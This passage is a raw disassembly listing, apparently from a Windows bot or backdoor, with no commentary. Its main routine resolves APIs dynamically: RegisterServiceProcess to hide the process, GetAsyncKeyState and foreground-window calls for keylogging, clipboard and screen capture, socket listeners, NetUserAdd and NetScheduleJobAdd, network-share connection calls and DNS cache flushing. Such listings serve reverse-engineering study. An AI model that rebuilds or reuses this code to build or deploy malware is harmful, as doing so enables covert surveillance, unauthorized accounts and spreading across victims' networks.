call dword_4230E8 ; RtlAllocateHeap
mov ecx, dword_43E9DC
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_43E9E4
push eax
call sub_417090
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_43E9E8
push eax
call dword_43E7CC
push [ebp+var_4]
mov edi, offset dword_43E7D8
push offset dword_43D7C8
push offset dword_43DFC8
push [ebp+arg_0]
push offset dword_42BFA8
push 200h
push edi
call sub_41752A
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call dword_4230E4 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_4094A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40953F proc near ; CODE XREF: sub_408E7C:loc_408FB8p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_43E9DC
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call dword_4230EC ; GetProcessHeap
push eax
call dword_4230E8 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_43DFC8
mov edi, 200h
mov esi, offset dword_43D5C8
loc_409585: ; CODE XREF: sub_40953F+FAj
mov eax, dword_43E9DC
add eax, eax
push eax
push dword_43E9E4
push [ebp+var_14]
call sub_417090
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_43E7CC
mov eax, dword_43E9DC
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4095FA
loc_4095C2: ; CODE XREF: sub_40953F+B3j
cmp [ebp+var_8], 0
jz short loc_409617
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_4095E6
cmp byte ptr [ecx+1], 0
jnz short loc_4095E6
cmp dl, 20h
jnb short loc_4095E0
and [ebp+var_8], 0
loc_4095E0: ; CODE XREF: sub_40953F+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_4095EA
loc_4095E6: ; CODE XREF: sub_40953F+90j
; sub_40953F+96j
and [ebp+var_8], 0
loc_4095EA: ; CODE XREF: sub_40953F+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_4095C2
cmp [ebp+var_8], 0
jz short loc_409617
loc_4095FA: ; CODE XREF: sub_40953F+81j
push [ebp+var_14]
push offset dword_43D7C8
push ebx
push [ebp+arg_0]
push offset dword_42BFA8
push edi
push esi
call sub_41752A
add esp, 1Ch
jmp short loc_40962F
; ---------------------------------------------------------------------------
loc_409617: ; CODE XREF: sub_40953F+87j
; sub_40953F+B9j
push offset dword_43D7C8
push ebx
push [ebp+arg_0]
push offset dword_42C020
push edi
push esi
call sub_41752A
add esp, 18h
loc_40962F: ; CODE XREF: sub_40953F+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_409585
push [ebp+var_14]
push 0
call dword_4230EC ; GetProcessHeap
push eax
call dword_4230E4 ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_40953F endp
; =============== S U B R O U T I N E =======================================
sub_409658 proc near ; CODE XREF: sub_40E48A+48p
push ebx
push ebp
mov ebp, dword_423100
push esi
push edi
push offset aKernel32_dll_0 ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4230DC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409778
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_43EBD0, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_43EB44, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_43EB28, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_43EA44, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_43E9F0, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_43EA20, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_43EA94, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_43EB84, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_43EBDC, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_43EA50, eax
call esi ; GetProcAddress
cmp dword_43EBD0, ebx
mov dword_43EA38, eax
jz short loc_409756
cmp dword_43EB44, ebx
jz short loc_409756
cmp dword_43EB28, ebx
jz short loc_409756
cmp dword_43EA44, ebx
jz short loc_409756
cmp dword_43EA20, ebx
jz short loc_409756
cmp dword_43EA94, ebx
jz short loc_409756
cmp dword_43EB84, ebx
jz short loc_409756
cmp dword_43EBDC, ebx
jz short loc_409756
cmp dword_43EA50, ebx
jz short loc_409756
cmp eax, ebx
jnz short loc_409760
loc_409756: ; CODE XREF: sub_409658+B8j
; sub_409658+C0j ...
mov dword_43EBE0, 1
loc_409760: ; CODE XREF: sub_409658+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_43EB5C, eax
jz short loc_40978D
push 1
push ebx
call eax
jmp short loc_40978D
; ---------------------------------------------------------------------------
loc_409778: ; CODE XREF: sub_409658+1Dj
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EBE4, eax
mov dword_43EBE0, 1
loc_40978D: ; CODE XREF: sub_409658+117j
; sub_409658+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4230E0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4098A2
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_43EB80, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_43EB30, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_43EAC4, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_43EBD4, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_43EAF4, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_43EB14, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_43EB78, eax
call esi ; GetProcAddress
cmp dword_43EB80, ebx
mov dword_43EA6C, eax
jz short loc_409846
cmp dword_43EB30, ebx
jz short loc_409846
cmp dword_43EAC4, ebx
jz short loc_409846
cmp dword_43EBD4, ebx
jz short loc_409846
cmp dword_43EAF4, ebx
jz short loc_409846
cmp dword_43EB14, ebx
jz short loc_409846
cmp dword_43EB78, ebx
jz short loc_409846
cmp eax, ebx
jnz short loc_409850
loc_409846: ; CODE XREF: sub_409658+1B8j
; sub_409658+1C0j ...
mov dword_43EBE8, 1
loc_409850: ; CODE XREF: sub_409658+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_43EAF0, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_43EA04, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_43EAC0, eax
call esi ; GetProcAddress
cmp dword_43EAF0, ebx
mov dword_43EAAC, eax
jz short loc_4098AD
cmp dword_43EA04, ebx
jz short loc_4098AD
cmp dword_43EAC0, ebx
jz short loc_4098AD
cmp eax, ebx
jnz short loc_4098B7
jmp short loc_4098AD
; ---------------------------------------------------------------------------
loc_4098A2: ; CODE XREF: sub_409658+144j
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EBEC, eax
loc_4098AD: ; CODE XREF: sub_409658+232j
; sub_409658+23Aj ...
mov dword_43EBE8, 1
loc_4098B7: ; CODE XREF: sub_409658+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409A52
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_43EB94, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_43EAD8, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_43EB48, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_43EA30, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_43EA90, eax
call esi ; GetProcAddress
cmp dword_43EB94, ebx
mov dword_43EB00, eax
jz short loc_409942
cmp dword_43EAD8, ebx
jz short loc_409942
cmp dword_43EB48, ebx
jz short loc_409942
cmp dword_43EA30, ebx
jz short loc_409942
cmp dword_43EA90, ebx
jz short loc_409942
cmp eax, ebx
jnz short loc_40994C
loc_409942: ; CODE XREF: sub_409658+2C4j
; sub_409658+2CCj ...
mov dword_43EBF0, 1
loc_40994C: ; CODE XREF: sub_409658+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_43EB08, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_43EAE0, eax
call esi ; GetProcAddress
cmp dword_43EB08, ebx
mov dword_43EB90, eax
jz short loc_409987
cmp dword_43EAE0, ebx
jz short loc_409987
cmp eax, ebx
jnz short loc_409991
loc_409987: ; CODE XREF: sub_409658+321j
; sub_409658+329j
mov dword_43EBF0, 1
loc_409991: ; CODE XREF: sub_409658+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_43EB18, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_43EA0C, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_43EA14, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_43EA74, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_43EA78, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_43EA28, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_43EAE4, eax
call esi ; GetProcAddress
cmp dword_43EB18, ebx
mov dword_43EA18, eax
jz short loc_409A35
cmp dword_43EA0C, ebx
jz short loc_409A35
cmp dword_43EA14, ebx
jz short loc_409A35
cmp dword_43EA74, ebx
jz short loc_409A35
cmp dword_43EA78, ebx
jz short loc_409A35
cmp dword_43EA28, ebx
jz short loc_409A35
cmp dword_43EAE4, ebx
jz short loc_409A35
cmp eax, ebx
jnz short loc_409A3F
loc_409A35: ; CODE XREF: sub_409658+3A7j
; sub_409658+3AFj ...
mov dword_43EBF0, 1
loc_409A3F: ; CODE XREF: sub_409658+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_43EA10, eax
jnz short loc_409A67
jmp short loc_409A5D
; ---------------------------------------------------------------------------
loc_409A52: ; CODE XREF: sub_409658+26Aj
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EBF4, eax
loc_409A5D: ; CODE XREF: sub_409658+3F8j
mov dword_43EBF0, 1
loc_409A67: ; CODE XREF: sub_409658+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409B33
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_43EB10, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_43EB68, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_43EB70, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_43EB2C, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_43EA54, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_43EA00, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_43EB6C, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_43E9EC, eax
call esi ; GetProcAddress
cmp dword_43EB10, ebx
mov dword_43EA88, eax
jz short loc_409B3E
cmp dword_43EB68, ebx
jz short loc_409B3E
cmp dword_43EB70, ebx
jz short loc_409B3E
cmp dword_43EB2C, ebx
jz short loc_409B3E
cmp dword_43EA54, ebx
jz short loc_409B3E
cmp dword_43EA00, ebx
jz short loc_409B3E
cmp dword_43EB6C, ebx
jz short loc_409B3E
cmp dword_43E9EC, ebx
jz short loc_409B3E
cmp eax, ebx
jnz short loc_409B48
jmp short loc_409B3E
; ---------------------------------------------------------------------------
loc_409B33: ; CODE XREF: sub_409658+41Aj
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EBFC, eax
loc_409B3E: ; CODE XREF: sub_409658+49Bj
; sub_409658+4A3j ...
mov dword_43EBF8, 1
loc_409B48: ; CODE XREF: sub_409658+4D7j
mov ebp, dword_4230E0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409E04
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_43EA9C, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_43EBC8, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_43EA40, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_43EA1C, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_43EAD0, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_43EAB8, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_43EA84, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_43EBA4, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_43EBC0, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_43EACC, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_43EBB0, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_43EB64, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_43EB24, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_43EB20, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_43EA60, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_43EA58, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_43EB74, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_43EB88, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_43EB3C, eax
call esi ; GetProcAddress
mov dword_43EAFC, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_43EB50, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_43EB0C, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_43EB4C, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_43EBB8, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_43EB04, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_43EAC8, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_43EB38, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_43EBA8, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_43EADC, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_43EA80, eax
call esi ; GetProcAddress
cmp dword_43EA9C, ebx
mov dword_43EBBC, eax
jz loc_409E0F
cmp dword_43EBC8, ebx
jz loc_409E0F
cmp dword_43EA40, ebx
jz loc_409E0F
cmp dword_43EAD0, ebx
jz loc_409E0F
cmp dword_43EAB8, ebx
jz loc_409E0F
cmp dword_43EA84, ebx
jz loc_409E0F
cmp dword_43EBA4, ebx
jz loc_409E0F
cmp dword_43EBC0, ebx
jz loc_409E0F
cmp dword_43EACC, ebx
jz loc_409E0F
cmp dword_43EBB0, ebx
jz loc_409E0F
cmp dword_43EB64, ebx
jz loc_409E0F
cmp dword_43EB24, ebx
jz loc_409E0F
cmp dword_43EB20, ebx
jz loc_409E0F
cmp dword_43EA60, ebx
jz short loc_409E0F
cmp dword_43EB74, ebx
jz short loc_409E0F
cmp dword_43EB88, ebx
jz short loc_409E0F
cmp dword_43EB3C, ebx
jz short loc_409E0F
cmp dword_43EAFC, ebx
jz short loc_409E0F
cmp dword_43EB50, ebx
jz short loc_409E0F
cmp dword_43EB0C, ebx
jz short loc_409E0F
cmp dword_43EB4C, ebx
jz short loc_409E0F
cmp dword_43EBB8, ebx
jz short loc_409E0F
cmp dword_43EB04, ebx
jz short loc_409E0F
cmp dword_43EAC8, ebx
jz short loc_409E0F
cmp dword_43EB38, ebx
jz short loc_409E0F
cmp dword_43EBA8, ebx
jz short loc_409E0F
cmp dword_43EADC, ebx
jz short loc_409E0F
cmp eax, ebx
jnz short loc_409E19
jmp short loc_409E0F
; ---------------------------------------------------------------------------
loc_409E04: ; CODE XREF: sub_409658+501j
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC04, eax
loc_409E0F: ; CODE XREF: sub_409658+6A0j
; sub_409658+6ACj ...
mov dword_43EC00, 1
loc_409E19: ; CODE XREF: sub_409658+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409F1E
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_43EA68, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_43E9F4, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_43EAEC, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_43EAA0, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_43EAF8, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_43EABC, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_43EA34, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_43EA2C, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_43EA3C, eax
call esi ; GetProcAddress
cmp dword_43EA68, ebx
mov ecx, dword_43EABC
mov dword_43EB58, eax
jz short loc_409EFA
cmp dword_43E9F4, ebx
jz short loc_409EFA
cmp dword_43EAEC, ebx
jz short loc_409EFA
cmp dword_43EAA0, ebx
jz short loc_409EFA
cmp dword_43EAF8, ebx
jz short loc_409EFA
cmp ecx, ebx
jz short loc_409EFA
cmp dword_43EA34, ebx
jz short loc_409EFA
cmp dword_43EA2C, ebx
jz short loc_409EFA
cmp dword_43EA3C, ebx
jz short loc_409EFA
cmp eax, ebx
jnz short loc_409F04
loc_409EFA: ; CODE XREF: sub_409658+860j
; sub_409658+868j ...
mov dword_43EC08, 1
loc_409F04: ; CODE XREF: sub_409658+8A0j
cmp ecx, ebx
jz short loc_409F39
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_43EAD4, eax
jnz short loc_409F39
jmp short loc_409F33
; ---------------------------------------------------------------------------
loc_409F1E: ; CODE XREF: sub_409658+7CCj
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC0C, eax
mov dword_43EC08, 1
loc_409F33: ; CODE XREF: sub_409658+8C4j
mov dword_43EAD4, ebx
loc_409F39: ; CODE XREF: sub_409658+8AEj
; sub_409658+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409F83
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_43EAB0, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_43EBD8, eax
call esi ; GetProcAddress
cmp dword_43EAB0, ebx
mov dword_43EA48, eax
jz short loc_409F8E
cmp dword_43EBD8, ebx
jz short loc_409F8E
cmp eax, ebx
jnz short loc_409F98
jmp short loc_409F8E
; ---------------------------------------------------------------------------
loc_409F83: ; CODE XREF: sub_409658+8ECj
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC14, eax
loc_409F8E: ; CODE XREF: sub_409658+91Bj
; sub_409658+923j ...
mov dword_43EC10, 1
loc_409F98: ; CODE XREF: sub_409658+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A08E
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_43EA24, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_43E9FC, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_43EA70, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_43EAA4, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_43EBB4, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_43EA5C, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_43EA08, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_43E9F8, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_43EA8C, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_43EB7C, eax
call esi ; GetProcAddress
cmp dword_43EA24, ebx
mov dword_43EB34, eax
jz short loc_40A099
cmp dword_43E9FC, ebx
jz short loc_40A099
cmp dword_43EA70, ebx
jz short loc_40A099
cmp dword_43EAA4, ebx
jz short loc_40A099
cmp dword_43EBB4, ebx
jz short loc_40A099
cmp dword_43EA5C, ebx
jz short loc_40A099
cmp dword_43EA08, ebx
jz short loc_40A099
cmp dword_43E9F8, ebx
jz short loc_40A099
cmp dword_43EA8C, ebx
jz short loc_40A099
cmp dword_43EB7C, ebx
jz short loc_40A099
cmp eax, ebx
jnz short loc_40A0A3
jmp short loc_40A099
; ---------------------------------------------------------------------------
loc_40A08E: ; CODE XREF: sub_409658+94Bj
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC1C, eax
loc_40A099: ; CODE XREF: sub_409658+9E6j
; sub_409658+9EEj ...
mov dword_43EC18, 1
loc_40A0A3: ; CODE XREF: sub_409658+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A0D8
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_43EA4C, eax
call esi ; GetProcAddress
cmp dword_43EA4C, ebx
mov dword_43EB1C, eax
jz short loc_40A0E3
cmp eax, ebx
jnz short loc_40A0ED
jmp short loc_40A0E3
; ---------------------------------------------------------------------------
loc_40A0D8: ; CODE XREF: sub_409658+A56j
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC24, eax
loc_40A0E3: ; CODE XREF: sub_409658+A78j
; sub_409658+A7Ej
mov dword_43EC20, 1
loc_40A0ED: ; CODE XREF: sub_409658+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A122
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_43EBA0, eax
call esi ; GetProcAddress
cmp dword_43EBA0, ebx
mov dword_43EB9C, eax
jz short loc_40A12D
cmp eax, ebx
jnz short loc_40A137
jmp short loc_40A12D
; ---------------------------------------------------------------------------
loc_40A122: ; CODE XREF: sub_409658+AA0j
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC2C, eax
loc_40A12D: ; CODE XREF: sub_409658+AC2j
; sub_409658+AC8j
mov dword_43EC28, 1
loc_40A137: ; CODE XREF: sub_409658+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A196
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_43EBCC, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_43EBC4, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_43EB8C, eax
call esi ; GetProcAddress
cmp dword_43EBCC, ebx
mov dword_43EA64, eax
jz short loc_40A1A1
cmp dword_43EBC4, ebx
jz short loc_40A1A1
cmp dword_43EB8C, ebx
jz short loc_40A1A1
cmp eax, ebx
jnz short loc_40A1AB
jmp short loc_40A1A1
; ---------------------------------------------------------------------------
loc_40A196: ; CODE XREF: sub_409658+AEAj
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC34, eax
loc_40A1A1: ; CODE XREF: sub_409658+B26j
; sub_409658+B2Ej ...
mov dword_43EC30, 1
loc_40A1AB: ; CODE XREF: sub_409658+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A1E0
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_43EA98, eax
call esi ; GetProcAddress
cmp dword_43EA98, ebx
mov dword_43EB98, eax
jz short loc_40A1EB
cmp eax, ebx
jnz short loc_40A1F5
jmp short loc_40A1EB
; ---------------------------------------------------------------------------
loc_40A1E0: ; CODE XREF: sub_409658+B5Ej
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC3C, eax
loc_40A1EB: ; CODE XREF: sub_409658+B80j
; sub_409658+B86j
mov dword_43EC38, 1
loc_40A1F5: ; CODE XREF: sub_409658+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A27E
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_43EB60, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_43EBAC, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_43EAE8, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_43EAA8, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_43EB40, eax
call esi ; GetProcAddress
cmp dword_43EB60, ebx
mov dword_43EAB4, eax
jz short loc_40A289
cmp dword_43EBAC, ebx
jz short loc_40A289
cmp dword_43EAE8, ebx
jz short loc_40A289
cmp dword_43EAA8, ebx
jz short loc_40A289
cmp dword_43EB40, ebx
jz short loc_40A289
cmp eax, ebx
jnz short loc_40A293
jmp short loc_40A289
; ---------------------------------------------------------------------------
loc_40A27E: ; CODE XREF: sub_409658+BA8j
call dword_42308C ; RtlGetLastWin32Error
mov dword_43EC44, eax
loc_40A289: ; CODE XREF: sub_409658+BFEj
; sub_409658+C06j ...
